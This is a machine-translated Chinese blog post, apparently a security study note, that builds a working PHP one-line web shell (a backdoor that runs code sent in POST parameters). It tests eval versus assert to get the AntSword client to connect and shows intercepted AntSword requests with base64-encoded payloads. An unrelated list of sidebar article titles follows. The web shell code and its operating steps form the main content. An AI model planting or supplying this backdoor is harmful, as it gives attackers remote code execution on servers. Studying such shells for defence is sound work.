当前位置:网站首页>Security foundation 6 - vulnerability recurrence
Security foundation 6 - vulnerability recurrence
2022-07-25 19:25:00 【Hold the kitten】
Tools : Ant sword 、burpsuite
In a word, Trojans :
<?php
$_POST['1']($_POST['2']);1、 Start : We want to POST Medium 1 Transmission :eval, So this becomes eval($_POST['2]), At this time, it becomes a perfect one sentence Trojan horse .
however : The connection fails in this way


Reasons for failure :eval It's a language construct, not a function , Cannot be called by a mutable function
PHP Support the concept of variable function , If a variable name is followed by parentheses ,PHP Will look for a function with the same name as the value of the variable , And try to execute it . Variable functions can be used to implement, including callback functions , Some uses, including function tables .
2、 At this time , We try to use assert Function test

But it still hasn't been achieved
3、 Then we will 1 Submitted as assert,2 Submitted as eval($_POST[2]) To test , Submitting parameters in this way is equivalent to PHP The code in becomes assert(eval($_POST[2]))

Finally, the connection is successful , It shows that this method is feasible
The reason for success :assert stay php Is considered a function
4、 If we 1 Submitted as assert,2 Submitted as $_POST['chengke'],post Inside is any string , Can it be successful , We succeed again

for the first time , The connection password we set is chengke, The connection fails
The second time , We changed the password to 2 when , Show successful connection

At this time, we grab bags and test
First step : We first in burpsuite And ant sword


The second step : Use ant sword to initiate connection request for packet capture

The information you can get by capturing packets starts with :1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
Can see 2 There is one more inside eval function , Because we use base64 code , So it uses eval Function pair base64 Provide decoding operation
If we don't use encoder , The result of the test is :
We can see the information obtained without using the encoder 2 There is no eval function , Just a string , However, only strings cannot be executed assert function , So you can't use encoder .1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
Thus we can see that , When we choose base64 Encoder encoding , It will generate automatically eval Function pair base64 decode , However, we just need to 2 There is eval function , You can use assert So as to generate a sentence Trojan .
边栏推荐
- 600000 pieces of data are made from March 1 to March 31. Videodate requires starting time from 00:00 to 24:00 on March 1 to 31, which is only for notes
- “未来杯”第二届知识图谱锦标赛正式启动
- 解决Win10账户没有了管理员权限
- 高端旗舰投影仪选购指南:当贝X3 Pro、当贝F5观影更沉浸!
- Grid layout frequently asked interview questions
- CRM configuration item command notes
- Selenium 设置元素等待的三种方式详解
- Solve the problem that the win10 account has no administrator rights
- 基于PHP的中非南南合作信息交流平台网站建设
- kubernetes RBAC
猜你喜欢

Eve - 0day Threat Intelligence

小程序毕设作品之微信校园维修报修小程序毕业设计成品(7)中期检查报告

Improvement of wechat applet 29 hot search list ②

Talk about 11 tips for interface performance optimization

Website construction of information exchange platform for China Africa South South cooperation based on PHP

Have you ever seen this kind of dynamic programming -- the stock problem of state machine dynamic programming (Part 1)
![[919. Complete binary tree inserter]](/img/d9/15a9af50893db955d9ebb4d7d4e3d1.png)
[919. Complete binary tree inserter]

基于PHP的中非南南合作信息交流平台网站建设

Swift 基础 Codable(JSONEncoder JSONDecoder)的使用

解决Win10账户没有了管理员权限
随机推荐
【DETR用于3D目标检测】DETR3D: 3D Object Detection from Multi-view Images via 3D-to-2D Queries
Hongke shares | how to solve blackmail software security vulnerabilities
C 调的满级和玄
Huawei recruited "talented teenagers" twice this year; 5.4 million twitter account information was leaked, with a selling price of $30000; Google fired engineers who believed in AI consciousness | gee
Network design and planning of a company
微信小程序开发之全局配置与页面配置
Monitor MySQL based on MySQL exporter
房地产行业大洗牌
CLIP还能做分割任务?哥廷根大学提出一个使用文本和图像prompt,能同时作三个分割任务的模型CLIPSeg,榨干CLIP能力...
Flutter 小技巧之优化你使用的 BuildContext
小程序毕设作品之微信校园维修报修小程序毕业设计成品(7)中期检查报告
[reading notes] deep learning Chapter 1: Introduction
Talk about 15 tips of SQL optimization
阿里云免费SSL证书申请详细流程
前夕 - 0day威胁情报
Hongmeng - Damiao computing Sketchpad - Introduction
基于FPGA的1080P 60Hz BT1120接口调试过程记录
哪吒 D1-H 测试 microbench
FPGA based 1080p 60Hz bt1120 interface debugging process record
[iniparser] simple use of the project configuration tool iniparser